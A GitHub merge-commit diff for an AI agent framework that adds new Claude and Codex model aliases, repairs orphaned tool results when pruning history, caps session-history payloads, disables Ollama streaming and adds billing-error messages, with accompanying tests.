Merge branch 'main' into qianfan

This commit is contained in:
ide-rea
2026-02-06 17:58:28 +08:00
committed by GitHub
413 changed files with 26165 additions and 6070 deletions
+6 -4
View File
@@ -287,16 +287,18 @@ describe("exec notifyOnExit", () => {
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
const prefix = sessionId.slice(0, 8);
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (isWin ? 8000 : 2000);
while (!finished && Date.now() < deadline) {
let hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
const deadline = Date.now() + (isWin ? 12_000 : 5_000);
while ((!finished || !hasEvent) && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
}
expect(finished).toBeTruthy();
const events = peekSystemEvents("agent:main:main");
expect(events.some((event) => event.includes(sessionId.slice(0, 8)))).toBe(true);
expect(hasEvent).toBe(true);
});
});
+2
View File
@@ -9,8 +9,10 @@ export type ResolvedCliBackend = {
const CLAUDE_MODEL_ALIASES: Record<string, string> = {
opus: "opus",
"opus-4.6": "opus",
"opus-4.5": "opus",
"opus-4": "opus",
"claude-opus-4-6": "opus",
"claude-opus-4-5": "opus",
"claude-opus-4": "opus",
sonnet: "sonnet",
+145
View File
@@ -106,6 +106,10 @@ describe("pruneHistoryForContextShare", () => {
});
it("returns droppedMessagesList containing dropped messages", () => {
// Note: This test uses simple user messages with no tool calls.
// When orphaned tool_results exist, droppedMessages may exceed
// droppedMessagesList.length since orphans are counted but not
// added to the list (they lack context for summarization).
const messages: AgentMessage[] = [
makeMessage(1, 4000),
makeMessage(2, 4000),
@@ -121,6 +125,7 @@ describe("pruneHistoryForContextShare", () => {
});
expect(pruned.droppedChunks).toBeGreaterThan(0);
// Without orphaned tool_results, counts match exactly
expect(pruned.droppedMessagesList.length).toBe(pruned.droppedMessages);
// All messages accounted for: kept + dropped = original
@@ -145,4 +150,144 @@ describe("pruneHistoryForContextShare", () => {
expect(pruned.droppedMessagesList).toEqual([]);
expect(pruned.messages.length).toBe(1);
});
it("removes orphaned tool_result messages when tool_use is dropped", () => {
// Scenario: assistant with tool_use is in chunk 1 (dropped),
// tool_result is in chunk 2 (kept) - orphaned tool_result should be removed
// to prevent "unexpected tool_use_id" errors from Anthropic's API
const messages: AgentMessage[] = [
// Chunk 1 (will be dropped) - contains tool_use
{
role: "assistant",
content: [
{ type: "text", text: "x".repeat(4000) },
{ type: "toolUse", id: "call_123", name: "test_tool", input: {} },
],
timestamp: 1,
},
// Chunk 2 (will be kept) - contains orphaned tool_result
{
role: "toolResult",
toolCallId: "call_123",
toolName: "test_tool",
content: [{ type: "text", text: "result".repeat(500) }],
timestamp: 2,
} as AgentMessage,
{
role: "user",
content: "x".repeat(500),
timestamp: 3,
},
];
const pruned = pruneHistoryForContextShare({
messages,
maxContextTokens: 2000,
maxHistoryShare: 0.5,
parts: 2,
});
// The orphaned tool_result should NOT be in kept messages
// (this is the critical invariant that prevents API errors)
const keptRoles = pruned.messages.map((m) => m.role);
expect(keptRoles).not.toContain("toolResult");
// The orphan count should be reflected in droppedMessages
// (orphaned tool_results are dropped but not added to droppedMessagesList
// since they lack context for summarization)
expect(pruned.droppedMessages).toBeGreaterThan(pruned.droppedMessagesList.length);
});
it("keeps tool_result when its tool_use is also kept", () => {
// Scenario: both tool_use and tool_result are in the kept portion
const messages: AgentMessage[] = [
// Chunk 1 (will be dropped) - just user content
{
role: "user",
content: "x".repeat(4000),
timestamp: 1,
},
// Chunk 2 (will be kept) - contains both tool_use and tool_result
{
role: "assistant",
content: [
{ type: "text", text: "y".repeat(500) },
{ type: "toolUse", id: "call_456", name: "kept_tool", input: {} },
],
timestamp: 2,
},
{
role: "toolResult",
toolCallId: "call_456",
toolName: "kept_tool",
content: [{ type: "text", text: "result" }],
timestamp: 3,
} as AgentMessage,
];
const pruned = pruneHistoryForContextShare({
messages,
maxContextTokens: 2000,
maxHistoryShare: 0.5,
parts: 2,
});
// Both assistant and toolResult should be in kept messages
const keptRoles = pruned.messages.map((m) => m.role);
expect(keptRoles).toContain("assistant");
expect(keptRoles).toContain("toolResult");
});
it("removes multiple orphaned tool_results from the same dropped tool_use", () => {
// Scenario: assistant with multiple tool_use blocks is dropped,
// all corresponding tool_results should be removed from kept messages
const messages: AgentMessage[] = [
// Chunk 1 (will be dropped) - contains multiple tool_use blocks
{
role: "assistant",
content: [
{ type: "text", text: "x".repeat(4000) },
{ type: "toolUse", id: "call_a", name: "tool_a", input: {} },
{ type: "toolUse", id: "call_b", name: "tool_b", input: {} },
],
timestamp: 1,
},
// Chunk 2 (will be kept) - contains orphaned tool_results
{
role: "toolResult",
toolCallId: "call_a",
toolName: "tool_a",
content: [{ type: "text", text: "result_a" }],
timestamp: 2,
} as AgentMessage,
{
role: "toolResult",
toolCallId: "call_b",
toolName: "tool_b",
content: [{ type: "text", text: "result_b" }],
timestamp: 3,
} as AgentMessage,
{
role: "user",
content: "x".repeat(500),
timestamp: 4,
},
];
const pruned = pruneHistoryForContextShare({
messages,
maxContextTokens: 2000,
maxHistoryShare: 0.5,
parts: 2,
});
// No orphaned tool_results should be in kept messages
const keptToolResults = pruned.messages.filter((m) => m.role === "toolResult");
expect(keptToolResults).toHaveLength(0);
// The orphan count should reflect both dropped tool_results
// droppedMessages = 1 (assistant) + 2 (orphaned tool_results) = 3
// droppedMessagesList only has the assistant message
expect(pruned.droppedMessages).toBe(pruned.droppedMessagesList.length + 2);
});
});
+19 -2
View File
@@ -2,6 +2,7 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core";
import type { ExtensionContext } from "@mariozechner/pi-coding-agent";
import { estimateTokens, generateSummary } from "@mariozechner/pi-coding-agent";
import { DEFAULT_CONTEXT_TOKENS } from "./defaults.js";
import { repairToolUseResultPairing } from "./session-transcript-repair.js";
export const BASE_CHUNK_RATIO = 0.4;
export const MIN_CHUNK_RATIO = 0.15;
@@ -333,11 +334,27 @@ export function pruneHistoryForContextShare(params: {
break;
}
const [dropped, ...rest] = chunks;
const flatRest = rest.flat();
// After dropping a chunk, repair tool_use/tool_result pairing to handle
// orphaned tool_results (whose tool_use was in the dropped chunk).
// repairToolUseResultPairing drops orphaned tool_results, preventing
// "unexpected tool_use_id" errors from Anthropic's API.
const repairReport = repairToolUseResultPairing(flatRest);
const repairedKept = repairReport.messages;
// Track orphaned tool_results as dropped (they were in kept but their tool_use was dropped)
const orphanedCount = repairReport.droppedOrphanCount;
droppedChunks += 1;
droppedMessages += dropped.length;
droppedMessages += dropped.length + orphanedCount;
droppedTokens += estimateMessagesTokens(dropped);
// Note: We don't have the actual orphaned messages to add to droppedMessagesList
// since repairToolUseResultPairing doesn't return them. This is acceptable since
// the dropped messages are used for summarization, and orphaned tool_results
// without their tool_use context aren't useful for summarization anyway.
allDroppedMessages.push(...dropped);
keptMessages = rest.flat();
keptMessages = repairedKept;
}
return {
+2 -2
View File
@@ -1,6 +1,6 @@
// Defaults for agent metadata when upstream does not supply them.
// Model id uses pi-ai's built-in Anthropic catalog.
export const DEFAULT_PROVIDER = "anthropic";
export const DEFAULT_MODEL = "claude-opus-4-5";
// Context window: Opus 4.5 supports ~200k tokens (per pi-ai models.generated.ts).
export const DEFAULT_MODEL = "claude-opus-4-6";
// Conservative fallback used when model metadata is unavailable.
export const DEFAULT_CONTEXT_TOKENS = 200_000;
+7 -1
View File
@@ -3,11 +3,17 @@ export type ModelRef = {
id?: string | null;
};
const ANTHROPIC_PREFIXES = ["claude-opus-4-5", "claude-sonnet-4-5", "claude-haiku-4-5"];
const ANTHROPIC_PREFIXES = [
"claude-opus-4-6",
"claude-opus-4-5",
"claude-sonnet-4-5",
"claude-haiku-4-5",
];
const OPENAI_MODELS = ["gpt-5.2", "gpt-5.0"];
const CODEX_MODELS = [
"gpt-5.2",
"gpt-5.2-codex",
"gpt-5.3-codex",
"gpt-5.1-codex",
"gpt-5.1-codex-mini",
"gpt-5.1-codex-max",
+1 -1
View File
@@ -140,7 +140,7 @@ describe("getApiKeyForModel", () => {
} catch (err) {
error = err;
}
expect(String(error)).toContain("openai-codex/gpt-5.2");
expect(String(error)).toContain("openai-codex/gpt-5.3-codex");
} finally {
if (previousOpenAiKey === undefined) {
delete process.env.OPENAI_API_KEY;
+2 -1
View File
@@ -213,7 +213,7 @@ export async function resolveApiKeyForProvider(params: {
const hasCodex = listProfilesForProvider(store, "openai-codex").length > 0;
if (hasCodex) {
throw new Error(
'No API key found for provider "openai". You are authenticated with OpenAI Codex OAuth. Use openai-codex/gpt-5.2 (ChatGPT OAuth) or set OPENAI_API_KEY for openai/gpt-5.2.',
'No API key found for provider "openai". You are authenticated with OpenAI Codex OAuth. Use openai-codex/gpt-5.3-codex (OAuth) or set OPENAI_API_KEY to use openai/gpt-5.1-codex.',
);
}
}
@@ -302,6 +302,7 @@ export function resolveEnvApiKey(provider: string): EnvApiKeyResult | null {
mistral: "MISTRAL_API_KEY",
opencode: "OPENCODE_API_KEY",
qianfan: "QIANFAN_API_KEY",
ollama: "OLLAMA_API_KEY",
};
const envVar = envMap[normalized];
if (!envVar) {
+9 -25
View File
@@ -13,9 +13,9 @@ import {
isTimeoutError,
} from "./failover-error.js";
import {
buildConfiguredAllowlistKeys,
buildModelAliasIndex,
modelKey,
parseModelRef,
resolveConfiguredModelRef,
resolveModelRefFromString,
} from "./model-selection.js";
@@ -51,28 +51,6 @@ function shouldRethrowAbort(err: unknown): boolean {
return isAbortError(err) && !isTimeoutError(err);
}
function buildAllowedModelKeys(
cfg: OpenClawConfig | undefined,
defaultProvider: string,
): Set<string> | null {
const rawAllowlist = (() => {
const modelMap = cfg?.agents?.defaults?.models ?? {};
return Object.keys(modelMap);
})();
if (rawAllowlist.length === 0) {
return null;
}
const keys = new Set<string>();
for (const raw of rawAllowlist) {
const parsed = parseModelRef(String(raw ?? ""), defaultProvider);
if (!parsed) {
continue;
}
keys.add(modelKey(parsed.provider, parsed.model));
}
return keys.size > 0 ? keys : null;
}
function resolveImageFallbackCandidates(params: {
cfg: OpenClawConfig | undefined;
defaultProvider: string;
@@ -82,7 +60,10 @@ function resolveImageFallbackCandidates(params: {
cfg: params.cfg ?? {},
defaultProvider: params.defaultProvider,
});
const allowlist = buildAllowedModelKeys(params.cfg, params.defaultProvider);
const allowlist = buildConfiguredAllowlistKeys({
cfg: params.cfg,
defaultProvider: params.defaultProvider,
});
const seen = new Set<string>();
const candidates: ModelCandidate[] = [];
@@ -166,7 +147,10 @@ function resolveFallbackCandidates(params: {
cfg: params.cfg ?? {},
defaultProvider,
});
const allowlist = buildAllowedModelKeys(params.cfg, defaultProvider);
const allowlist = buildConfiguredAllowlistKeys({
cfg: params.cfg,
defaultProvider,
});
const seen = new Set<string>();
const candidates: ModelCandidate[] = [];
+11
View File
@@ -29,6 +29,17 @@ describe("model-selection", () => {
});
});
it("normalizes anthropic alias refs to canonical model ids", () => {
expect(parseModelRef("anthropic/opus-4.6", "openai")).toEqual({
provider: "anthropic",
model: "claude-opus-4-6",
});
expect(parseModelRef("opus-4.6", "anthropic")).toEqual({
provider: "anthropic",
model: "claude-opus-4-6",
});
});
it("should use default provider if none specified", () => {
expect(parseModelRef("claude-3-5-sonnet", "anthropic")).toEqual({
provider: "anthropic",
+34 -7
View File
@@ -16,6 +16,12 @@ export type ModelAliasIndex = {
byKey: Map<string, string[]>;
};
const ANTHROPIC_MODEL_ALIASES: Record<string, string> = {
"opus-4.6": "claude-opus-4-6",
"opus-4.5": "claude-opus-4-5",
"sonnet-4.5": "claude-sonnet-4-5",
};
function normalizeAliasKey(value: string): string {
return value.trim().toLowerCase();
}
@@ -59,13 +65,7 @@ function normalizeAnthropicModelId(model: string): string {
return trimmed;
}
const lower = trimmed.toLowerCase();
if (lower === "opus-4.5") {
return "claude-opus-4-5";
}
if (lower === "sonnet-4.5") {
return "claude-sonnet-4-5";
}
return trimmed;
return ANTHROPIC_MODEL_ALIASES[lower] ?? trimmed;
}
function normalizeProviderModelId(provider: string, model: string): string {
@@ -99,6 +99,33 @@ export function parseModelRef(raw: string, defaultProvider: string): ModelRef |
return { provider, model: normalizedModel };
}
export function resolveAllowlistModelKey(raw: string, defaultProvider: string): string | null {
const parsed = parseModelRef(raw, defaultProvider);
if (!parsed) {
return null;
}
return modelKey(parsed.provider, parsed.model);
}
export function buildConfiguredAllowlistKeys(params: {
cfg: OpenClawConfig | undefined;
defaultProvider: string;
}): Set<string> | null {
const rawAllowlist = Object.keys(params.cfg?.agents?.defaults?.models ?? {});
if (rawAllowlist.length === 0) {
return null;
}
const keys = new Set<string>();
for (const raw of rawAllowlist) {
const key = resolveAllowlistModelKey(String(raw ?? ""), params.defaultProvider);
if (key) {
keys.add(key);
}
}
return keys.size > 0 ? keys : null;
}
export function buildModelAliasIndex(params: {
cfg: OpenClawConfig;
defaultProvider: string;
@@ -12,4 +12,45 @@ describe("Ollama provider", () => {
// Ollama requires explicit configuration via OLLAMA_API_KEY env var or profile
expect(providers?.ollama).toBeUndefined();
});
it("should disable streaming by default for Ollama models", async () => {
const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-"));
process.env.OLLAMA_API_KEY = "test-key";
try {
const providers = await resolveImplicitProviders({ agentDir });
// Provider should be defined with OLLAMA_API_KEY set
expect(providers?.ollama).toBeDefined();
expect(providers?.ollama?.apiKey).toBe("OLLAMA_API_KEY");
// Note: discoverOllamaModels() returns empty array in test environments (VITEST env var check)
// so we can't test the actual model discovery here. The streaming: false setting
// is applied in the model mapping within discoverOllamaModels().
// The configuration structure itself is validated by TypeScript and the Zod schema.
} finally {
delete process.env.OLLAMA_API_KEY;
}
});
it("should have correct model structure with streaming disabled (unit test)", () => {
// This test directly verifies the model configuration structure
// since discoverOllamaModels() returns empty array in test mode
const mockOllamaModel = {
id: "llama3.3:latest",
name: "llama3.3:latest",
reasoning: false,
input: ["text"],
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
contextWindow: 128000,
maxTokens: 8192,
params: {
streaming: false,
},
};
// Verify the model structure matches what discoverOllamaModels() would return
expect(mockOllamaModel.params?.streaming).toBe(false);
expect(mockOllamaModel.params).toHaveProperty("streaming");
});
});
+5
View File
@@ -136,6 +136,11 @@ async function discoverOllamaModels(): Promise<ModelDefinitionConfig[]> {
cost: OLLAMA_DEFAULT_COST,
contextWindow: OLLAMA_DEFAULT_CONTEXT_WINDOW,
maxTokens: OLLAMA_DEFAULT_MAX_TOKENS,
// Disable streaming by default for Ollama to avoid SDK issue #1205
// See: https://github.com/badlogic/pi-mono/issues/1205
params: {
streaming: false,
},
};
});
} catch (error) {
+122
View File
@@ -181,6 +181,128 @@ describe("sessions tools", () => {
expect(withToolsDetails.messages).toHaveLength(2);
});
it("sessions_history caps oversized payloads and strips heavy fields", async () => {
callGatewayMock.mockReset();
const oversized = Array.from({ length: 80 }, (_, idx) => ({
role: "assistant",
content: [
{
type: "text",
text: `${String(idx)}:${"x".repeat(5000)}`,
},
{
type: "thinking",
thinking: "y".repeat(7000),
thinkingSignature: "sig".repeat(4000),
},
],
details: {
giant: "z".repeat(12000),
},
usage: {
input: 1,
output: 1,
},
}));
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string };
if (request.method === "chat.history") {
return { messages: oversized };
}
return {};
});
const tool = createOpenClawTools().find((candidate) => candidate.name === "sessions_history");
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
const result = await tool.execute("call4b", {
sessionKey: "main",
includeTools: true,
});
const details = result.details as {
messages?: Array<Record<string, unknown>>;
truncated?: boolean;
droppedMessages?: boolean;
contentTruncated?: boolean;
bytes?: number;
};
expect(details.truncated).toBe(true);
expect(details.droppedMessages).toBe(true);
expect(details.contentTruncated).toBe(true);
expect(typeof details.bytes).toBe("number");
expect((details.bytes ?? 0) <= 80 * 1024).toBe(true);
expect(details.messages && details.messages.length > 0).toBe(true);
const first = details.messages?.[0] as
| {
details?: unknown;
usage?: unknown;
content?: Array<{
type?: string;
text?: string;
thinking?: string;
thinkingSignature?: string;
}>;
}
| undefined;
expect(first?.details).toBeUndefined();
expect(first?.usage).toBeUndefined();
const textBlock = first?.content?.find((block) => block.type === "text");
expect(typeof textBlock?.text).toBe("string");
expect((textBlock?.text ?? "").length <= 4015).toBe(true);
const thinkingBlock = first?.content?.find((block) => block.type === "thinking");
expect(thinkingBlock?.thinkingSignature).toBeUndefined();
});
it("sessions_history enforces a hard byte cap even when a single message is huge", async () => {
callGatewayMock.mockReset();
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string };
if (request.method === "chat.history") {
return {
messages: [
{
role: "assistant",
content: [{ type: "text", text: "ok" }],
extra: "x".repeat(200_000),
},
],
};
}
return {};
});
const tool = createOpenClawTools().find((candidate) => candidate.name === "sessions_history");
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
const result = await tool.execute("call4c", {
sessionKey: "main",
includeTools: true,
});
const details = result.details as {
messages?: Array<Record<string, unknown>>;
truncated?: boolean;
droppedMessages?: boolean;
contentTruncated?: boolean;
bytes?: number;
};
expect(details.truncated).toBe(true);
expect(details.droppedMessages).toBe(true);
expect(details.contentTruncated).toBe(false);
expect(typeof details.bytes).toBe("number");
expect((details.bytes ?? 0) <= 80 * 1024).toBe(true);
expect(details.messages).toHaveLength(1);
expect(details.messages?.[0]?.content).toContain(
"[sessions_history omitted: message too large]",
);
});
it("sessions_history resolves sessionId inputs", async () => {
callGatewayMock.mockReset();
const sessionId = "sess-group";
+11 -9
View File
@@ -8,12 +8,12 @@ import {
describe("resolveOpencodeZenAlias", () => {
it("resolves opus alias", () => {
expect(resolveOpencodeZenAlias("opus")).toBe("claude-opus-4-5");
expect(resolveOpencodeZenAlias("opus")).toBe("claude-opus-4-6");
});
it("keeps legacy aliases working", () => {
expect(resolveOpencodeZenAlias("sonnet")).toBe("claude-opus-4-5");
expect(resolveOpencodeZenAlias("haiku")).toBe("claude-opus-4-5");
expect(resolveOpencodeZenAlias("sonnet")).toBe("claude-opus-4-6");
expect(resolveOpencodeZenAlias("haiku")).toBe("claude-opus-4-6");
expect(resolveOpencodeZenAlias("gpt4")).toBe("gpt-5.1");
expect(resolveOpencodeZenAlias("o1")).toBe("gpt-5.2");
expect(resolveOpencodeZenAlias("gemini-2.5")).toBe("gemini-3-pro");
@@ -32,14 +32,14 @@ describe("resolveOpencodeZenAlias", () => {
});
it("is case-insensitive", () => {
expect(resolveOpencodeZenAlias("OPUS")).toBe("claude-opus-4-5");
expect(resolveOpencodeZenAlias("OPUS")).toBe("claude-opus-4-6");
expect(resolveOpencodeZenAlias("Gpt5")).toBe("gpt-5.2");
});
});
describe("resolveOpencodeZenModelApi", () => {
it("maps APIs by model family", () => {
expect(resolveOpencodeZenModelApi("claude-opus-4-5")).toBe("anthropic-messages");
expect(resolveOpencodeZenModelApi("claude-opus-4-6")).toBe("anthropic-messages");
expect(resolveOpencodeZenModelApi("gemini-3-pro")).toBe("google-generative-ai");
expect(resolveOpencodeZenModelApi("gpt-5.2")).toBe("openai-responses");
expect(resolveOpencodeZenModelApi("alpha-gd4")).toBe("openai-completions");
@@ -53,13 +53,14 @@ describe("getOpencodeZenStaticFallbackModels", () => {
it("returns an array of models", () => {
const models = getOpencodeZenStaticFallbackModels();
expect(Array.isArray(models)).toBe(true);
expect(models.length).toBe(9);
expect(models.length).toBe(10);
});
it("includes Claude, GPT, Gemini, and GLM models", () => {
const models = getOpencodeZenStaticFallbackModels();
const ids = models.map((m) => m.id);
expect(ids).toContain("claude-opus-4-6");
expect(ids).toContain("claude-opus-4-5");
expect(ids).toContain("gpt-5.2");
expect(ids).toContain("gpt-5.1-codex");
@@ -83,15 +84,16 @@ describe("getOpencodeZenStaticFallbackModels", () => {
describe("OPENCODE_ZEN_MODEL_ALIASES", () => {
it("has expected aliases", () => {
expect(OPENCODE_ZEN_MODEL_ALIASES.opus).toBe("claude-opus-4-5");
expect(OPENCODE_ZEN_MODEL_ALIASES.opus).toBe("claude-opus-4-6");
expect(OPENCODE_ZEN_MODEL_ALIASES.codex).toBe("gpt-5.1-codex");
expect(OPENCODE_ZEN_MODEL_ALIASES.gpt5).toBe("gpt-5.2");
expect(OPENCODE_ZEN_MODEL_ALIASES.gemini).toBe("gemini-3-pro");
expect(OPENCODE_ZEN_MODEL_ALIASES.glm).toBe("glm-4.7");
expect(OPENCODE_ZEN_MODEL_ALIASES["opus-4.5"]).toBe("claude-opus-4-5");
// Legacy aliases (kept for backward compatibility).
expect(OPENCODE_ZEN_MODEL_ALIASES.sonnet).toBe("claude-opus-4-5");
expect(OPENCODE_ZEN_MODEL_ALIASES.haiku).toBe("claude-opus-4-5");
expect(OPENCODE_ZEN_MODEL_ALIASES.sonnet).toBe("claude-opus-4-6");
expect(OPENCODE_ZEN_MODEL_ALIASES.haiku).toBe("claude-opus-4-6");
expect(OPENCODE_ZEN_MODEL_ALIASES.gpt4).toBe("gpt-5.1");
expect(OPENCODE_ZEN_MODEL_ALIASES.o1).toBe("gpt-5.2");
expect(OPENCODE_ZEN_MODEL_ALIASES["gemini-2.5"]).toBe("gemini-3-pro");
+19 -10
View File
@@ -1,8 +1,11 @@
/**
* OpenCode Zen model catalog with dynamic fetching, caching, and static fallback.
*
* OpenCode Zen is a $200/month subscription that provides proxy access to multiple
* AI models (Claude, GPT, Gemini, etc.) through a single API endpoint.
* OpenCode Zen is a pay-as-you-go token-based API that provides access to curated
* models optimized for coding agents. It uses per-request billing with auto top-up.
*
* Note: OpenCode Black ($20/$100/$200/month subscriptions) is a separate product
* with flat-rate usage tiers. This module handles Zen, not Black.
*
* API endpoint: https://opencode.ai/zen/v1
* Auth URL: https://opencode.ai/auth
@@ -11,7 +14,7 @@
import type { ModelApi, ModelDefinitionConfig } from "../config/types.js";
export const OPENCODE_ZEN_API_BASE_URL = "https://opencode.ai/zen/v1";
export const OPENCODE_ZEN_DEFAULT_MODEL = "claude-opus-4-5";
export const OPENCODE_ZEN_DEFAULT_MODEL = "claude-opus-4-6";
export const OPENCODE_ZEN_DEFAULT_MODEL_REF = `opencode/${OPENCODE_ZEN_DEFAULT_MODEL}`;
// Cache for fetched models (1 hour TTL)
@@ -21,19 +24,20 @@ const CACHE_TTL_MS = 60 * 60 * 1000; // 1 hour
/**
* Model aliases for convenient shortcuts.
* Users can use "opus" instead of "claude-opus-4-5", etc.
* Users can use "opus" instead of "claude-opus-4-6", etc.
*/
export const OPENCODE_ZEN_MODEL_ALIASES: Record<string, string> = {
// Claude
opus: "claude-opus-4-5",
opus: "claude-opus-4-6",
"opus-4.6": "claude-opus-4-6",
"opus-4.5": "claude-opus-4-5",
"opus-4": "claude-opus-4-5",
"opus-4": "claude-opus-4-6",
// Legacy Claude aliases (OpenCode Zen rotates model catalogs; keep old keys working).
sonnet: "claude-opus-4-5",
"sonnet-4": "claude-opus-4-5",
haiku: "claude-opus-4-5",
"haiku-3.5": "claude-opus-4-5",
sonnet: "claude-opus-4-6",
"sonnet-4": "claude-opus-4-6",
haiku: "claude-opus-4-6",
"haiku-3.5": "claude-opus-4-6",
// GPT-5.x family
gpt5: "gpt-5.2",
@@ -119,6 +123,7 @@ const MODEL_COSTS: Record<
cacheRead: 0.107,
cacheWrite: 0,
},
"claude-opus-4-6": { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
"claude-opus-4-5": { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
"gemini-3-pro": { input: 2, output: 12, cacheRead: 0.2, cacheWrite: 0 },
"gpt-5.1-codex-mini": {
@@ -143,6 +148,7 @@ const DEFAULT_COST = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 };
const MODEL_CONTEXT_WINDOWS: Record<string, number> = {
"gpt-5.1-codex": 400000,
"claude-opus-4-6": 1000000,
"claude-opus-4-5": 200000,
"gemini-3-pro": 1048576,
"gpt-5.1-codex-mini": 400000,
@@ -159,6 +165,7 @@ function getDefaultContextWindow(modelId: string): number {
const MODEL_MAX_TOKENS: Record<string, number> = {
"gpt-5.1-codex": 128000,
"claude-opus-4-6": 128000,
"claude-opus-4-5": 64000,
"gemini-3-pro": 65536,
"gpt-5.1-codex-mini": 128000,
@@ -195,6 +202,7 @@ function buildModelDefinition(modelId: string): ModelDefinitionConfig {
*/
const MODEL_NAMES: Record<string, string> = {
"gpt-5.1-codex": "GPT-5.1 Codex",
"claude-opus-4-6": "Claude Opus 4.6",
"claude-opus-4-5": "Claude Opus 4.5",
"gemini-3-pro": "Gemini 3 Pro",
"gpt-5.1-codex-mini": "GPT-5.1 Codex Mini",
@@ -222,6 +230,7 @@ function formatModelName(modelId: string): string {
export function getOpencodeZenStaticFallbackModels(): ModelDefinitionConfig[] {
const modelIds = [
"gpt-5.1-codex",
"claude-opus-4-6",
"claude-opus-4-5",
"gemini-3-pro",
"gpt-5.1-codex-mini",
@@ -1,6 +1,6 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it } from "vitest";
import { formatAssistantErrorText } from "./pi-embedded-helpers.js";
import { BILLING_ERROR_USER_MESSAGE, formatAssistantErrorText } from "./pi-embedded-helpers.js";
describe("formatAssistantErrorText", () => {
const makeAssistantError = (errorMessage: string): AssistantMessage =>
@@ -53,4 +53,19 @@ describe("formatAssistantErrorText", () => {
);
expect(formatAssistantErrorText(msg)).toBe("LLM error server_error: Something exploded");
});
it("returns a friendly billing message for credit balance errors", () => {
const msg = makeAssistantError("Your credit balance is too low to access the Anthropic API.");
const result = formatAssistantErrorText(msg);
expect(result).toBe(BILLING_ERROR_USER_MESSAGE);
});
it("returns a friendly billing message for HTTP 402 errors", () => {
const msg = makeAssistantError("HTTP 402 Payment Required");
const result = formatAssistantErrorText(msg);
expect(result).toBe(BILLING_ERROR_USER_MESSAGE);
});
it("returns a friendly billing message for insufficient credits", () => {
const msg = makeAssistantError("insufficient credits");
const result = formatAssistantErrorText(msg);
expect(result).toBe(BILLING_ERROR_USER_MESSAGE);
});
});
+1
View File
@@ -6,6 +6,7 @@ export {
stripThoughtSignatures,
} from "./pi-embedded-helpers/bootstrap.js";
export {
BILLING_ERROR_USER_MESSAGE,
classifyFailoverReason,
formatRawAssistantErrorForUi,
formatAssistantErrorText,
+11
View File
@@ -3,6 +3,9 @@ import type { OpenClawConfig } from "../../config/config.js";
import type { FailoverReason } from "./types.js";
import { formatSandboxToolPolicyBlockedMessage } from "../sandbox.js";
export const BILLING_ERROR_USER_MESSAGE =
"⚠️ API provider returned a billing error — your API key has run out of credits or has an insufficient balance. Check your provider's billing dashboard and top up or switch to a different API key.";
export function isContextOverflowError(errorMessage?: string): boolean {
if (!errorMessage) {
return false;
@@ -368,6 +371,10 @@ export function formatAssistantErrorText(
return "The AI service is temporarily overloaded. Please try again in a moment.";
}
if (isBillingErrorMessage(raw)) {
return BILLING_ERROR_USER_MESSAGE;
}
if (isLikelyHttpErrorText(raw) || isRawApiErrorPayload(raw)) {
return formatRawAssistantErrorForUi(raw);
}
@@ -403,6 +410,10 @@ export function sanitizeUserFacingText(text: string): string {
);
}
if (isBillingErrorMessage(trimmed)) {
return BILLING_ERROR_USER_MESSAGE;
}
if (isRawApiErrorPayload(trimmed) || isLikelyHttpErrorText(trimmed)) {
return formatRawAssistantErrorForUi(trimmed);
}
+78 -1
View File
@@ -1,4 +1,4 @@
import { describe, expect, it, vi } from "vitest";
import { beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("../pi-model-discovery.js", () => ({
discoverAuthStorage: vi.fn(() => ({ mocked: true })),
@@ -6,6 +6,7 @@ vi.mock("../pi-model-discovery.js", () => ({
}));
import type { OpenClawConfig } from "../../config/config.js";
import { discoverModels } from "../pi-model-discovery.js";
import { buildInlineProviderModels, resolveModel } from "./model.js";
const makeModel = (id: string) => ({
@@ -18,6 +19,12 @@ const makeModel = (id: string) => ({
maxTokens: 1,
});
beforeEach(() => {
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn(() => null),
} as unknown as ReturnType<typeof discoverModels>);
});
describe("buildInlineProviderModels", () => {
it("attaches provider ids to inline models", () => {
const providers = {
@@ -127,4 +134,74 @@ describe("resolveModel", () => {
expect(result.model?.provider).toBe("custom");
expect(result.model?.id).toBe("missing-model");
});
it("builds an openai-codex fallback for gpt-5.3-codex", () => {
const templateModel = {
id: "gpt-5.2-codex",
name: "GPT-5.2 Codex",
provider: "openai-codex",
api: "openai-codex-responses",
baseUrl: "https://chatgpt.com/backend-api",
reasoning: true,
input: ["text", "image"] as const,
cost: { input: 1.75, output: 14, cacheRead: 0.175, cacheWrite: 0 },
contextWindow: 272000,
maxTokens: 128000,
};
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn((provider: string, modelId: string) => {
if (provider === "openai-codex" && modelId === "gpt-5.2-codex") {
return templateModel;
}
return null;
}),
} as unknown as ReturnType<typeof discoverModels>);
const result = resolveModel("openai-codex", "gpt-5.3-codex", "/tmp/agent");
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject({
provider: "openai-codex",
id: "gpt-5.3-codex",
api: "openai-codex-responses",
baseUrl: "https://chatgpt.com/backend-api",
reasoning: true,
contextWindow: 272000,
maxTokens: 128000,
});
});
it("keeps unknown-model errors for non-gpt-5 openai-codex ids", () => {
const result = resolveModel("openai-codex", "gpt-4.1-mini", "/tmp/agent");
expect(result.model).toBeUndefined();
expect(result.error).toBe("Unknown model: openai-codex/gpt-4.1-mini");
});
it("uses codex fallback even when openai-codex provider is configured", () => {
// This test verifies the ordering: codex fallback must fire BEFORE the generic providerCfg fallback.
// If ordering is wrong, the generic fallback would use api: "openai-responses" (the default)
